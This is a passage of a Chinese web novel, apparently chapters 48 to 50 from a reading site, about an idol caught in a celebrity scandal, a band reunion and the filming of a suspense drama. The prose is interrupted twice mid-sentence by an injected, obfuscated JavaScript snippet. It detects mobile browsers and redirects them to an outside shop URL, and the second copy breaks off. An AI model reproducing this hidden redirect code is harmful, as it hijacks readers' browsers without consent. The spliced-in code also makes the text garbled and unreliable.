照片的背景,是阳光明媚的加州一号公路。岑星穿着一条飘逸的白色长裙,戴着宽檐草帽,坐在周彻那辆骚包的阿斯顿马丁跑车副驾上。她没有看镜头,只是侧着头,望着窗外那一望无际的碧海蓝天,脸上带着恬静而疏离的微笑。而驾驶座上的周彻,则穿着简单的白衬衫,戴着墨镜,一手握着方向盘,另一只手,则极其自然地搭在岑星的座椅靠背上。 阳光,豪车,美人,海景。画面美好得像一部文艺电影的海报。 如果说,之前的那些“青梅竹马”老照片,只是捕风捉影的猜测,那么这张照片,无疑是给这段“白月光”故事,盖上了一个最坚实的“热恋中”的官印。 照片发布的瞬间,CP粉们疯了。 【啊啊啊啊啊啊啊!正主发糖了!是真的!他们是真的!彻星CP给我锁死!钥匙我吞了!】 【所以,SOLAR塌房之后,岑星真的是跟周彻一起出国散心了!这是什么神仙守护剧情!当你的世界分崩离析,我便带你去到世界尽头!】 【哭死!周大少太深情了!所以巴黎那场求婚,真的是做戏吧!是为了逼岑星回来吧!他成功了!他把他的月亮找回来了!】 然而,狂欢的气氛,很快就被另一条接踵而至更具毁灭性的“真相”,撕得粉碎。 在“彻星CP”空降热搜的半小时后,一个自称是盛天娱乐前员工的匿名账号,在“深水鱼塘”发布了一篇名为《关于SOLAR塌房、祁演被雪藏的最终真相——你们都被骗了》的长文。 楼主:“别问我是谁,问就是良心发现,不想再看一个天才被资本玩弄致死。料保真,不真我直播倒立吃泡面X2。” “年末那晚,岑星的突然出现,不是偶然。而SOLAR的后台打架事件,从一开始,就是一个局。” “真正的导火索,不是祁演睡了樊一健的女朋友。而是樊一健的女朋友姜酌,伙同樊一健,试图给祁演下套、偷拍,然后用‘丑闻’去勒索祁演当时所在的盛天娱乐。祁演发现后,才动了手。那不是殴打队友,那是正当防卫。” “而整件事的幕后主使,或者说,那个给樊一健递刀子的人,就是看祁演不顺眼很久了的,盛天的高层。他们早就想把祁演这颗不听话的棋子踢出局,换上更听话的新人。樊一健,不过是他们手里的枪。” “祁演当时为什么不解释?因为他没证据。更因为,他以为周彻和岑星会相信他,会帮他。毕竟,他们是一起长大的兄弟和爱人。” “然而,他等来的,是周彻的冷眼旁观,和岑星的不告而别。” “岑星早就知道了这一切。周彻不可能不告诉她。但她选择了什么?她选择了和那个明知一切真相,却选择牺牲自己乐队队友、来换取商业利益最大化的男人,一起坐上了飞往维也纳的飞机。她用最残忍的方式,告诉了祁演,他们的世界,从来就不是一个世界。” “所以,年末那晚,她回来唱那首《天狼星》,根本不是什么‘旧情难忘’的BE美学。那是一场补刀。一场居高临下的、胜利者的宣告。她要亲眼看着那个曾经妄图追逐她的男人,被她,也被她所选择的那个更强大的男人,一起踩进最深的泥里,永世不得翻身。” 这篇文章,如同一道惊雷,将刚刚还在为“神仙爱情”而感动落泪的网友们,劈得外焦里嫩。 背叛、阴谋、资本绞杀、白月光补刀……每一个词,都充满了令人不寒而栗的血腥味。 如果说,之前的“替身文学”还只是言情小说的范畴,那么现在的这个版本,已经是一部活生生的、暗黑版的《甄嬛传》了。祁演,成了那个被废黜的、打入冷宫的痴情王子;周彻,是那个运筹帷幄、冷酷无情的帝王;而岑星则是那个看似纯良无辜,实则心机深沉、手段狠辣的“白切黑”皇后。 商颂,连“替身”都算不上了。她顶多,是这场宫斗戏里,一个被皇后用来刺激废太子的无辜宫女。 舆论,在短短一个小时内,再次发生了惊天动地的逆转。而这一次,所有的炮火,都对准了那个刚刚被“神化”的白月光——岑星。 就在所有人都在等待着周家如何公关这场史无前例的“人设崩塌”危机时,岑星本人,却以一种所有人都没想到的方式,亲自下场,加入了这场混战。 当天下午三点,一个名为“Cynthia岑星”刚刚通过官方认证的微博账号,发布了她的第一条,也是唯一一条视频。 视频的背景,是在一间装修极简的纯白色房间里。岑星穿着一件简单的白色衬衫,长发披散,脸上是清透的裸妆。她没有看镜头,只是低着头,调试着面前的一架合成器,似乎是在准备什么。 视频的开头,是长达一分钟的沉默,只有她指尖触碰琴键的零星。就在观众快要失去耐心时,她终于抬起了头。 那是一张被上帝亲吻过的脸,精致,清冷,美得不食人间火。 “大家好,我是岑星。” “首先,关于我和祁演。是的,我们在一起很多年。但那已经是过去式了。在这里,我正式向大家宣布,我们已经分手。祝他,也祝我,未来各自安好。” 她没有解释任何关于SOLAR的“真相”,只是用最简单、最官方 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而岑星的下一句话,则彻底终结了所有人的猜测,也为这场战争,指明了最终且唯一的方向。 “哦,对了,忘了告诉大家。”她像是刚刚才想起来一样,脸上露出了一个俏皮的笑容,“我的东家,还是周氏集团旗下的‘盛天娱乐’。未来的日子,请大家多多指教了。” 视频,到此结束。 谢卿歌手里的那包薯片,掉在了地上,碎成了一地狼藉,她却浑然不觉。 “我操……” 良久,她才从牙缝里,挤出了这两个字。这一次,那里面没有了之前的愤怒,只有一种被彻底碾压后的无力感。 “她签约了盛天娱乐。”安夕来失神地喃喃自语,“这、这就等于,周彻,公开站队了……” 是啊。站队了。 之前所有关于“替身”的猜测,所有关于“白月光”的故事,在这份白纸黑字的签约合同面前,都成了一个笑话。周彻用最直接、最残忍的方式,告诉了所有人,谁才是他这场游戏里唯一的女主角。 商颂,连“替身”的资格,都没有了。她只是一个被利用完,就被毫不留情地抛弃的弃子。 而随之而来的,是更现实也更致命的打击。 从岑星发布视频后的一个小时开始,苏曼的手机几乎要被打爆了。 “喂,张总监?什么?《VOGUE》下个月的封面,要临时换人?理由是商颂的气质与品牌新一季的‘独立’主题不符?” “李制片?您是说,那部S+级的仙侠剧女主角,要重新考虑人选?因为岑星似乎也有意向?” “什么?!连晚会的开场舞都……喂?喂?!” 一个个曾经追着GALAXY跑的顶级资源方,此刻都像是约好了一样,用最委婉、也最坚决的方式,取消了与她们,或者说,是与商颂的合作。 没有理由,没有解释。只有一句心照不宣的——“我们要站队了”。 整个行业,都在等着看周家的脸色。而周彻,用他的沉默,和那份签给岑星的合约,给出了最清晰的答案。 “我操!狗屁周彻!岑星!” 谢卿歌再也忍不住,她一脚踹翻了面前的茶几,发出一声巨大的声响。 “欺人太甚!这他妈是把我们当猴耍吗?!利用完我们就一脚踹开?!这笔账!老娘跟他们没完!” 49. 第 49 章 商颂反而觉得如今正好,留下来的都是真心。这场由岑星和周彻联手掀起的行业寒冬,如同一场精准的筛洗,将所有虚与委蛇、趋炎附势的“合作方”都清理得干干净净。那些被临时撤换的封面,那些被重新考虑的角色,她竟生不出半点可惜。 苏曼给她对接了几个本子,电话里的声音前所未有的疲惫,却也带着一丝对她“作死”行为的默许:“都是些小制作,热度比不上以前,但胜在自由度高。你自己看看,想不想演戏,换换脑子。” 几个小时后,她的指尖落在一个名字最不起眼、制作预算也最低的剧本上:《诱罪:薄如蝉翼》。 一部小成本网络剧。没有大IP,没有流量明星,制作团队是一家刚成立不久的新公司。它之所以能被苏曼捞进备选名单,纯粹是因为剧本的构思足够新颖、足够大胆。 吸引她的,是那个罕见又带着危险气息的职业设定——鉴情师。一个行走在爱情与谎言边缘的灰色职业,受雇于那些对感情抱有怀疑的男男女女,用精心设计的剧本和无可挑剔的演技,去试探他们的伴侣是否忠诚。 “蝉翼”,既是诱惑的薄纱,也是谎言的脆弱。 商颂看着剧本大纲里,女主角那句充满自嘲与悲悯的独白——“我贩卖怀疑,也见证真爱;我拆穿谎言,也捏造谎言。我是每个人心底最阴暗的魔鬼,也是他们最渴望看到的残酷的真相。” 她几乎是在瞬间,就做出了决定。 这哪里是戏,这分明就是她过去二十三年人生的浓缩与写照。她比任何人都更懂,如何在爱里表演,如何在表演中试探,如何在一次次的谎言与真相的拉扯中,看清人性的底色。 在GALAXY全员“被休假”的这段时间里,接下这部戏,是她能找到的唯一出口。 一周后,在一场由某国际奢侈品集团举办的商业活动上,命运的剧本,再次上演了比任何戏剧都更荒诞的一幕。 GALAXY、岑星,以及APRICITY,三支正处于舆论风暴中心的话题团体,狭路相逢。主办方将他们安排在相邻的席位,那份司马昭之心,路人皆知。无数的媒体长枪短炮早已对准了这片“黄金席位”,准备捕捉任何一丝可以大做文章的火花。 岑星的出现,是当之无愧的艳压全场。她穿着周彻“第十位缪斯”品牌尚未发布的早春高定礼服,一袭月白色的流光长裙,裙身上用银线绣着繁复的星辰图样,衬得她如同真正的月光女神,清冷,高贵,不容亵渎。她的身边,永远跟着恰到好处的助理与保镖,将她与这个喧嚣的凡尘,隔开了一道无形的屏障。 相比之下,刚刚经历了一场资源降级的GALAXY,则显得低调许多。她们穿着统一的黑色系小礼服,妆容精致,气场依旧,但明眼人都看得出,那份属于巅峰时期的锐利与张扬,被一层更内敛、更沉静的姿态所取代。 伯雪寻就坐在GALAXY的另一侧,如同坐在两个爆发在即的火山口之间。 终于,在一个颁奖环节的间隙,岑星动了。 她端着一杯香槟,仪态万方地从座位上起身,没有走向任何一位商业巨头,而是径直走到了APRICITY的席位前。所有摄像机都疯了,闪光灯亮成一片白昼。 她没有理会APRICITY其他成员或惊愕或警惕的目光,只是走到了伯雪寻的面前,停下。 然后,她笑了。那笑容,一如她的人,纯净,无辜,像天使。 她抬起手,做了一个所有人都没想到的动作。她把自己礼服胸前别着的一朵作为装饰的红玫瑰,摘下来。 然后,在那双清澈如水的眼眸的注视下,她俯下身,将那朵红玫瑰,带着一丝恰到好处的暧昧力道,勾在了伯雪寻那身价不菲的黑色绸缎西装衣领处。 那抹突兀的猩红,与他漆黑的衣领和冷白的皮肤,形成了惊心动魄的对比。 “代sir,”她开口,声音清甜得像浸了蜜,“这朵花,配你。” 其意图,不言而喻。 商颂感觉自己全身的血液,在那一瞬间都凝固了。如同被人当众剥光了衣服的羞耻感,混合着排山倒海的愤怒,瞬间淹没了她。 这本该是独属于他们的私密记忆,却被另一个女人,以这样一种充满了胜利者姿态来重新上演。 岑星甚至不需要说任何多余的话。这一个动作,一句台词,就足以向所有人,尤其是向商颂宣告—— 你看,你所引以为傲的那些“手段”,那些你以为能打动他的“独特”,不过是我玩剩下或者不屑于玩的把戏。只要我愿意,我可以轻易地模仿你,甚至比你做得更好。你以为你在演戏?不,你连当我的替身,都不够格。 商颂的指甲深深地陷进了掌心里,留下几个深红的月牙印。她不敢去看伯雪寻的表情,她怕看到他眼中任何一丝的动容,或者……哪怕只是一瞬间的错愕。那都将成为压垮她的最后一根稻草。 商颂没有再看任何人,只是站起身,在所有人还没反应过来之前,转身,快步离开了这片令人窒息的场地。 伯雪寻在她转身的瞬间,也下意识地站了起来,想去追,手腕却被沈道非一把按住。 “别去。”沈道非声音很低,“去了,只会让她更难堪。让她自己静一静。” 通风口在天台的最角落,是整栋大楼废气与人声的最终出口,也是唯一的静谧之地。商颂靠着冰冷的管道,点燃了一支烟。尼古丁带来的短暂麻痹,能让她那根因持续战斗而绷得太紧的神经,获得片刻的喘息。 烟雾缭绕中,她看着远处被霓虹灯勾勒出的城市天际线,自嘲地笑了。 看,她还是这么没出息。明明已经下定决心,要告别过去,要做自己的女王。可当岑星那张脸出现在眼前,当那个名字如同魔咒般再次响起时,她所有辛苦建立起来的防御,还是会轻而易举地,溃不成军。 尼古丁的辛辣在肺叶里横冲直撞,却压不住那股随着冷风灌进衣领的恶心感。 脚步声是什么时候响起的,她没有注意。直到那一缕熟悉气息,像是一张密不透风的网,从身后悄无声息地笼罩了她。 那种压迫感太强了,强到让人脊背发凉。 商颂刚想回头,一只冰凉的手却已经抚上了她的后颈,并没有用力,只是用指腹极轻极慢地摩挲着那一小块皮肤,像是在爱抚一只刚刚在这个名利场里亮过爪子的宠物猫。 紧接着,那个男人俯下身。 带着凉意的嘴唇,极其轻浮却又带着某种宣誓主权般的力度,含住了她敏感的耳廓。 “真是一出好戏啊,商颂。” 周彻的声音低沉悦耳,贴着她的耳膜震动,“感觉受伤了?” 那一瞬间的触感让商颂浑身的汗毛都竖了起来。那是生理性的厌恶,也是长期被掌控后留下的应激反应。 “啪!” 她猛地回身,没有任何犹豫,反手就是一个耳光挥了过去。 但周彻太了解她了,或者说,在绝对的力量压制面前,她的反抗总是显得有些徒劳。 他只是微微侧身,那一巴掌没能打在他的脸上,而是沉闷地拍在了他那是穿着黑色羊绒大衣的手臂上。 但这并没有让周彻生气。 相反,他抓住了那只还在颤抖的手,嘴角的笑意加深,眼神却更加阴鸷。 “怎么?被说中了?”他轻笑,“还是说,你想把刚才在那群废物面前没撒完的泼,都在我这儿撒一遍?” “放开我。” 商颂用力挣扎,却像是被铁钳禁锢住。她死死盯着这个衣冠楚楚的男人,想起了刚才楼下岑星那个仿佛只有天神才配得上的微笑,和那个插在伯雪寻胸口的红玫瑰。 恶心。 真的是太恶心了。 “周彻。” “你不觉得自己现在的样子很可怜吗?” “可怜?”周彻像是听到了什么笑话。 “难道不可怜吗?” 商颂伸出另一只手,一把死死抓住了周彻的风衣领口,强迫他低下那颗高贵的头颅,看着自己。 “你一边在脑子里意|淫着那弯高不可攀的白月亮,一边在床上把着我这根从烂泥里长出来的‘烂藤蔓’发泄欲望。你看着我的脸,想的却是她。你不觉得自己很恶心吗?” “周彻,你看清楚了!站在你面前的,被你那个所谓‘缪斯’项圈勒着的,是我商颂!是有血有肉、会疼会恨的商颂!不是那个岑星的影子!” 周彻眯起眼,镜片后的眸光陡然变得危险且幽深。 他没说话,只是突然反手扣住了商颂抓着他领口的手腕,将她猛地往怀里一拉。 两人之间的距离瞬间归零。 那种属于上位者的气息瞬间将商颂淹没。他的胸膛坚硬冰冷,心跳却沉稳得可怕。 “你在嫉妒?” 他低头,鼻尖几乎碰到她的鼻尖,声音沙哑且戏谑,仿佛看穿了她所有的伪装。 周彻的一只手顺着她的后背滑下去,那是极其熟练也极其带有侮辱性的路径。他扣住了她的腰,稍微用力,将两人的身体贴合得严丝合缝。 那是只有对极其熟悉的床伴,才会有的无需语言的暗示动作。 商颂笑了。 她笑得眼泪都要出来了,却仰着头,毫不示弱地对上他的眼睛。 “我凭什么嫉妒?周大少,你要搞清楚状况。” “她是岑星。她是你神圣不可触碰的天上月,是你供在神坛上只能远观不敢亵玩的女神。你想够也够不着,只能对着月光叫唤两声,还要装出一副情圣的样子。” 她顿了顿,眼神变得更加凄厉而自嘲。 “而我呢?” “我是什么?” 商颂伸手指了指自己。 “我是扔给疯狗的肉骨头。有肉,有嚼劲,能顶饿,也能在你想发泄那种肮脏欲望的时候用来泄火。” 她看着周彻骤然变色的脸,笑意更深了。 “但周彻,你记住。狗会对这月亮许愿,会对着月亮流眼泪。但狗不会对着一根肉骨头许愿。” “肉骨头只有一个下场——那就是被嚼碎了,把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302817|196108||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那一身的血肉都奉献完,然后被扔进垃圾桶。” 这是多么血淋淋的比喻。 白月光和肉骨头。 一个用来仰望,一个用来撕咬。 周彻的手指猛地收紧,几乎要掐断她的腰。他的脸色难看得可怕,那双总是带着伪善笑意的眼睛里,终于露出了被戳穿后的恼羞成怒。 “商颂,你……” “啊!你们居然瞒着我偷偷见面!” 周彻的动作瞬间僵住了。 商颂也愣住了。 两人同时转头。 只见岑星站在天台那扇斑驳的铁门边,夜风吹动她的裙摆,她站在那里,即便是在这满地烟头和灰尘的楼顶,也依然显得那么格格不入的圣洁。 她不知道什么时候来的,又或者,她一直在那里。 岑星看着纠缠在一起的两个人,脸上没有嫉妒,也没有愤怒。她甚至还挂着那种没有任何攻击性的恬淡微笑。 “周彻。” 她叫了一声。没有质问他们在干什么,也没有因为商颂刚才那番话而感到难堪。 她就像是一个完全不在意凡间俗事的仙女,只在意她想要的东西。 “你怎么上来了?” 听见岑星打喷嚏,周彻下意识地想要脱下自己的外套走过去。 商颂冷眼看着这一切。 岑星没有接他的外套。她只是踩着高跟鞋,一步步走过来。 “我来找你,是因为我想起了一件事。” 岑星抬起头,那双眼睛里闪烁着一种天真的期待。 她伸出手,拉住了周彻的袖口。那个动作,比刚才商颂被周彻强行搂抱还要让人觉得亲密。因为那是带着撒娇意味的亲密。 “刚才在下面,我想了很久。既然大家都回来了,祁演也唱了那首歌。” “我们为什么不把SOLAR重组呢?” 周彻一怔:“重组?” “是啊。”岑星晃了晃他的袖子,“我已经跟公司说了。我这次回来是以个人名义,但我想带乐队。我知道最好的贝斯手就在我面前。” “你还会回来弹贝斯的,对吗?” 她看着他,满眼都是信任,“以前你说过的,只要我在台上唱歌,你就永远站在我的右后方。” 商颂站在寒风里,看着这一幕。 多么感人啊。 白月光回来了,要和她的竹马重圆旧梦。那个曾经不可一世的京圈太子爷,那个掌控着商颂命运的魔鬼,此刻在那个女人面前,却像个等待被挑选的臣子。 周彻沉默了。 他的目光下意识地看向旁边的商颂。 商颂就站在那里,头发被风吹乱,那张脸上满是刚才争执留下的红晕和狼狈。她的眼神是空的,像是已经预料到了结局。 一边是触手可及的“□□”,是那个跟他最契合、最懂他阴暗面的“疯女人”。 一边是那个他仰望了十几年、代表着他青春里最纯净梦想的“白月光”。 他该选谁? 或者是,他根本不需要选。 因为在他的世界法则里,肉骨头是可以随时被牺牲的,但月亮一旦错过了,就再也升不起来了。 周彻回过头,重新看向岑星。 那个停顿只有几秒钟,但在商颂心里,却像是过了一个世纪那么漫长。 “好。” 周彻开口了。 “如果你想,我就陪你玩。” 他反手握住了岑星的手,那个动作小心翼翼,珍视无比。 “你要重组SOLAR,我就给你重组。” 岑星笑了,笑得灿烂如花。她垫脚,轻轻拥抱了一下周彻。 商颂站在那里。 风很大,吹得她眼睛发干。 她忽然觉得自己确实挺可笑的。她刚才还在声嘶力竭地质问他,想要证明自己是个活生生的人。 结果人家只需要一句撒娇,就把她的尊严连同她这个人在他心里的位置,碾得粉碎。 她只是个替代品。 在正主回来重组旧梦的时候,她这个因为像“影子”而被留下来的赝品,唯一的下场就是被扫地出门。 “行。” 商颂深吸一口气,打断了眼前这幅“久别重逢”的感人画面。 “既然周大少找到了您的月亮,那这根烂骨头,我就自己滚了。” 她转身,动作没有一丝拖泥带水。 周彻的身体微微一僵。他想要回头,但岑星的手正紧紧挽着他的胳膊。 他只能用余光,看着那个黑色的身影,消失在天台漆黑的楼梯口。 那样决绝,那样孤单。 那一刻,周彻的心脏莫名空了一块。 像是弄丢了什么很重要的东西。 但他看着身边失而复得的岑星,又硬生生地把那种不适感压了下去。 没什么大不了的。 不过是一只养不熟的野猫。 走了就走了。 反正他已经有最好的了。 50. 第 50 章 SOLAR重组的试听会请柬设计得极简而狂妄:一轮残缺的太阳被几根金线勒着,底部印着一串滚烫的字母——SOLAR。 而真正刺痛她的是排在下面的阵容: 主唱:岑星。 贝斯:周彻。 鼓手:宿染。 吉他:祁演。 那天一别,祁演好像瘦得更锋利了。 他穿着最普通的黑色T恤和破洞牛仔裤,一截带着淤青和冷白骨相的手腕露在外面。他没有站在舞台的正中央。那个承载过数亿欢呼的聚光灯位置上,站着一条一袭香奈儿白色高定碎花长裙、手腕戴着百达翡丽钻表的岑星。 新的鼓手宿染是个染着嚣张白金毛的年轻男孩,嚼着口香糖,看向祁演的眼神里带着一种毫不掩饰的狂热与桀骜。 隔音室外,导播推上了声音滑块。 在阴影里,祁演低垂着眼眸。 那个修长的背影微微佝偻着,手指行云流水般地扣压着那把老款的Fender吉他琴弦。每一段旋律原本需要撕心裂肺和弦推入的地方,他都精准地用指腹卸去了吉他的失真与戾气,变成一种最温驯的铺垫,像是一头猛兽生生拔去獠牙,心甘情愿地伏低做小,任由别人踏着它的脊梁骨去摘那一颗不存在的星星。 这太刺目了。 这简直比杀了他还要令商颂反胃。 中场休息时,祁演走出了隔音门,没有喝那一群场工毕恭毕敬端给岑星的巴黎水。他习惯性地往走廊尽头黑漆漆的防火楼梯间走去,摸出一根干瘪的烟。 刚打着火机,微弱的幽蓝色火焰照亮了他没什么血色的脸,一只修长涂着红指甲的手突兀地伸了过来,“咔哒”一声,把那火光合上了。 “好久不见啊,伴奏老师。”商颂冷嘲热讽的声音在空旷的楼梯间回荡。 祁演抬起头,没说话。他甚至懒得去摸第二遍打火机,只是把那根没点燃的烟衔在齿间,轻嘲道:“来了?” “你贱不贱啊,祁演。” 商颂忽然觉得一阵气血上涌。那些积压了三年的嫉妒、屈辱、不解,甚至是连她自己都不愿意承认的那一丝微光崇拜,在这一刻碎得连渣都不剩。 “大理那个烂尾楼是不是真的把你的骨头都泡软了?你说樊一健下作,现在你和那些摇尾乞怜拿人逗闷子的家养畜生有什么区别?SOLAR是你的命啊!主唱是你的魂!你就这样由着这群少爷小姐,拿着你的骨血开这场所谓的演唱会?你的神气呢?你当初不跟垃圾同流合污的骄傲呢!” “我没有!” 祁演突然吼了一声,那声音里带着一种压抑了太久的痛苦和崩溃。 “商颂,你知道岑星跟我说什么吗?” “她说,三年前如果不是我动手打了人,SOLAR就不会解散。她说如果不是我那些破事,她早就应该在格莱美的舞台上唱歌了,而不是躲在国外像个逃兵。” 祁演抬起头,眼睛通红。 “她说得对。是我耽误了她。是我这个烂人,毁了她最好的青春,毁了她最完美的梦。” “现在她回来了。她给我这个机会,说这叫‘赎罪’。” “赎罪……”商颂喃喃自语,觉得荒谬至极。 这就是那个所谓白月光的手段吗?不用刀,不用枪,只用一句轻飘飘的“你欠我的”,就能把一个男人的脊梁骨彻底打断,让他心甘情愿地跪下来当狗。 “所以,你要去给你的旧情人、还有她的现任金主当陪衬?”商颂看着他,眼神里的失望比愤怒更让人心寒,“那我呢?我们算什么?大理天台上的那些话算什么?” 祁演别过脸,“对不起。” 他低下头,不敢去看商颂那双仿佛能洞穿他灵魂的眼睛。 “你骂我吧。怎么骂都行。反正我本来就是个烂人。” 商颂甚至没有时间去回味那足以掀翻屋顶的掌声。她就已经被那辆黑色的保姆车,连夜送往了北京郊区的一个废弃工厂改建的摄影棚。 那是《诱罪:薄如蝉翼》的片场。 导演是一个留着长发、眼神阴郁的新锐鬼才,名叫陈丧。他选的这个地方,阴冷、潮湿,空气里弥漫着铁锈和发霉的味道,正如这部剧的基调,撕开都市男女光鲜亮丽的画皮,露出底下爬满虱子的软肉。 随着场记板“啪”的一声清脆敲击,那个在舞台上狂野不羁的商颂消失了。 取而代之的,是一个穿着大了一号的洗白校服、扎着低马尾、眼神清澈无辜,却游走在都市欲望丛林深处、代号为“莲”的鬼魅。 这个名字本身就是一个巨大的、充满恶意的讽刺——“出淤泥而不染,濯清涟而不妖”? 不。她的“莲”,是汲取了淤泥中所有腐烂养分,开出的嗜血“血莲”。 在剧中,她是一名“鉴情师”。受雇于那些对伴侣忠诚度存疑的豪门千金或多疑富太,化身为目标最无法抗拒的“完美猎物”,去试探、去勾引,然后在大厦将倾的前一秒,如同吹奏魔笛引诱孩童的潘神,撕开温情脉脉的面纱,将那些伪君子的遮羞布一把扯下。 剧情以单元形式展开,“莲”是贯穿始终的暗线,也是揭开人性谜底的那把沾血的钥匙。 此时正在拍摄的,是第一个单元《皮囊之下的真相》。 这是一个关于“高岭之花”跌落神坛的故事。 委托人是一位真正的名门千金,因为家族联姻,即将嫁给那位传说中家世显赫、容貌昳丽、如同霜雪般不可亵玩的未婚夫宋子淮。 宋子淮在外界的口碑堪称完美:顶尖学府的天才,严于律己的禁欲系贵公子,对未婚妻也是相敬如宾。然而,女人的直觉总是精准得可怕,未婚妻总觉得在那副完美的皮囊下,藏着某种令她不安的腐臭味。 于是,“莲”接单了。 对于商颂饰演的“莲”来说,这种看起来毫无破绽的“圣人”,才是最顶级的猎物。她太熟悉这种伪装了。因为在这个圈子里,在那个名叫周彻的男人身上,她见过太多这种道貌岸然的“魔鬼”。 “Action!” 镜头推进。 这是一所在此剧设定中的贵族私立大学。深秋,落叶满地。 商颂背着一个帆布包,手里抱着一摞摇摇欲坠的书,站在那条宋子淮必经的林荫道上。她没有化妆,或者说,化的是那种要在4K镜头下才能看出的“伪素颜”。她的嘴唇有些干涩,眼神里透着一种初来乍到的小心翼翼和迷茫。 这是一种极具欺骗性的保护色,“清纯的小白兔”。 当宋子淮那辆黑色的轿车停下,那个穿着高定风衣、戴着银边眼镜的男演员走下来时,商颂动了。 一场精心设计的“意外”。书籍散落一地,女孩慌乱道歉,如小鹿般湿漉漉的眼睛在抬头的瞬间,精准地撞进了男人的视线。 没有什么比“纯洁”更能勾起魔鬼的破坏欲。 正如剧本所料,宋子淮这种习惯了在上位圈狩猎的捕食者,对于那些明码标价的妖艳贱货早已腻味。他想要的,是一张白纸,一张可以任由他涂抹上肮脏颜色的白纸。 接下来的戏份,是一场教科书级别的推拉。 “莲”化身为了那个对学长怀有隐秘倾慕却又自卑不敢靠近的学妹。她会在图书馆的角落里偷偷看他,被发现后脸红得像熟透的番茄;她会在下雨天把唯一的伞递给他,自己淋着雨跑回宿舍。 每一帧画面,商颂都演得入木三分。那种少女的怀春与忐忑,纯真得让人心碎。 但每当导演喊“Cut”,镜头切换到特写,“莲”独自一人面对镜子时,商颂眼里的那种纯真会在瞬间退潮,取而代之的是一种令人毛骨悚然的冷静与厌倦。她擦掉脸上的雨水,嘴角勾起一抹极淡的嘲讽。 猎物入网了。 在第十五场戏,暧昧终于到达了临界点。 一场看似浪漫的私人画展约会后,宋子淮以“想要给你看我独家收藏”为由,将“莲”带离了人群。 车子越开越偏,最终停在了城郊一栋废弃已久的旧教学楼前。这里是宋氏集团未开发的地皮,荒草丛生,寂静得像座坟墓。 “学长,我们来这里做什么?我有点怕。”商颂抓紧了安全带,声音颤抖,眼底却在黑暗中闪烁着兴奋的寒光。 “别怕。我的缪斯。”宋子淮微笑着,那个笑容在昏暗的仪表盘灯光下显得有些扭曲,“我想带你看看,什么才是真正的艺术。” 他带着她走进那栋大楼的地下室。 厚重的铁门被推开,发出令人牙酸的“吱呀”声。随着“啪”的一声开关响动,惨白的灯光瞬间刺破了黑暗,也照亮了这个所谓的“收藏室”。 根本没有画。 墙壁上,密密麻麻挂满了各种令人头皮发麻的工具:冰冷的金属镣铐、泛着幽光的皮革束具、造型奇特且带着倒刺的鞭子,甚至还有浸泡在福尔马林里的不知名的小动物标本。 这里不是画室,这是一间刑房。 空气里弥漫着铁锈、皮革,以及陈旧血迹混合的腥甜气息。 “这是?”商颂捂住了嘴,后退半步,身体剧烈地颤抖起来。 “这才是人类最原始、最真实的一面。” 宋子淮关上了门,落锁的声音沉重得像是死刑判决。他转过身,摘掉了那副斯文的眼镜,那双原本清冷禁欲的眸子里,此刻翻涌着一种狂热而病态的兴奋。 他一步步逼近,像是一头终于撕下了人皮的野兽。 “莲,你知道吗?第一眼看到你的时候,我就在想,如果把你这双干净的眼睛挖出来,泡在瓶子里,一定会很美。” “你的眼神里有野性。你是杂草。杂草即使被踩烂了,也会长出来。我最喜欢的就是那种生命力被一点点扼杀然后再也逃不掉的样子。” 他走到商颂面前,那种压迫感几乎让她窒息。 “你很害怕对吗?” 他凑到她耳边,声音粘稠湿滑,带着一股令人作呕的优越感。 “别怕。在这里,我会教你什么才是真正的‘爱’。那种痛到了极致、只有顺从才能活下去的‘爱’。” 这是一个极其经典的、关于权力和暴力的PUA现场。也是无数像周彻、像樊一健那样的上位者,最喜欢玩的把戏。 饰演宋子淮的男演员是个体验派新人,此刻显然有些入戏太深,或者是被商颂那种瑟瑟发抖的“演技”给刺激到了。他的呼吸急促,那只手并没有按照剧本规定的路线,直接粗暴地伸向了商颂的衣领,想要撕开那件白衬衫。 然而,就在那只手即将触碰到扣子的那一瞬间。 一直处于“极度恐惧、濒临崩溃”状态的商颂,忽然停止了所有的颤抖。 就像是一台正在剧烈震动的机器,被人突然切断了电源。 静止。 绝对的静止。 她慢慢地抬起了头。 那双原本噙满了泪水、显得无助又可怜的眼睛里,此刻哪里还有半点泪意? 那里只有一片干燥、荒芜、比这刑房里的灯光还要刺骨的冰原。以及一种只有猎人在看着猎物主动跳进陷阱时才会露出的轻蔑。 “爱?” 她开口了。 “你也配提这个字?” 男演员愣住了。那种瞬间的反差让他大脑出现了短暂的宕机。那个刚才还被他掌控在股掌之中的猎物,此刻身上的杀气,竟然让他本能地想要后退。 “你……” 还没等他反应过来。 商颂动了。 她没有像常规剧本里写的那样尖叫、逃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这段台词不在剧本里。 这是商颂自己加上去的。或者是说,这是她对过去几年经历的一次宣泄。她在骂这个角色,也在骂周彻。 “宋子淮,睁大你的狗眼看清楚了。” 商颂松开了他的手,嫌弃地在自己的校服上擦了擦。 她从那个帆布包的侧袋里,拿出了那个一直闪烁着微弱红点的纽扣——那是“莲”作为鉴情师随身携带的高清执法记录仪,也是直通委托人手机的实时直播设备。 “你的这份‘真爱’,你那位高贵的未婚妻,刚才应该已经全程欣赏完了。” “包括你这副被拆穿后像条狗一样跪在地上的怂样。” “你猜,当你走出这个门的时候,等待你的,是她的眼泪,还是你家族破产的通知书?” 男演员彻底被这股气场震傻了。 他呆滞地坐在地上,看着眼前这个仿佛杀神降临的女人,竟然连原本设计好的恼羞成怒的反扑动作都忘了做,整个人都在哆嗦。 “Cut!!!” 陈丧那破锣嗓子在监视器后炸响,声音都劈叉了,带着一种癫狂的兴奋。 “牛逼!太牛逼了!这条过了!!” 